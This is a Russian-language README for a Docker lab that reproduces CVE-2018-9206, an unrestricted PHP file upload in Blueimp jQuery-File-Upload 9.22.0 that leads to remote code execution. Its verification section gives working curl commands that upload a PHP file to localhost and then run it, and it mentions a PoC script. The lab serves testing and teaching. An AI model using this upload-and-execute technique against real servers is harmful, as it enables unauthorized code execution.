CVE-2018-9206 - лаборатория Blueimp jQuery-File-Upload

Уязвимое Docker-окружение для CVE-2018-9206 - неограниченная загрузка файлов в Blueimp jQuery-File-Upload <= 9.22.0.

Быстрый старт

docker compose up -d --build

Приложение доступно по адресу: http://localhost:8888/jQuery-File-Upload/

Проверка

# Upload a PHP file
curl -X POST "http://localhost:8888/jQuery-File-Upload/server/php/index.php" \
  -F 'files[]=@/dev/stdin;filename=test.php' <<< '<?php echo "CVE-2018-9206-PWNED"; ?>'

# Execute it
curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php"
# Output: CVE-2018-9206-PWNED

Или запустите PoC-скрипт:

./scripts/poc.sh

Очистка

docker compose down -v

Подробности

Поле	Значение
CVE	CVE-2018-9206
Продукт	Blueimp jQuery-File-Upload
Версия	9.22.0
Тип	Неограниченная загрузка файлов → RCE

CVE-2018-9206-jquery-file-upload

Популярное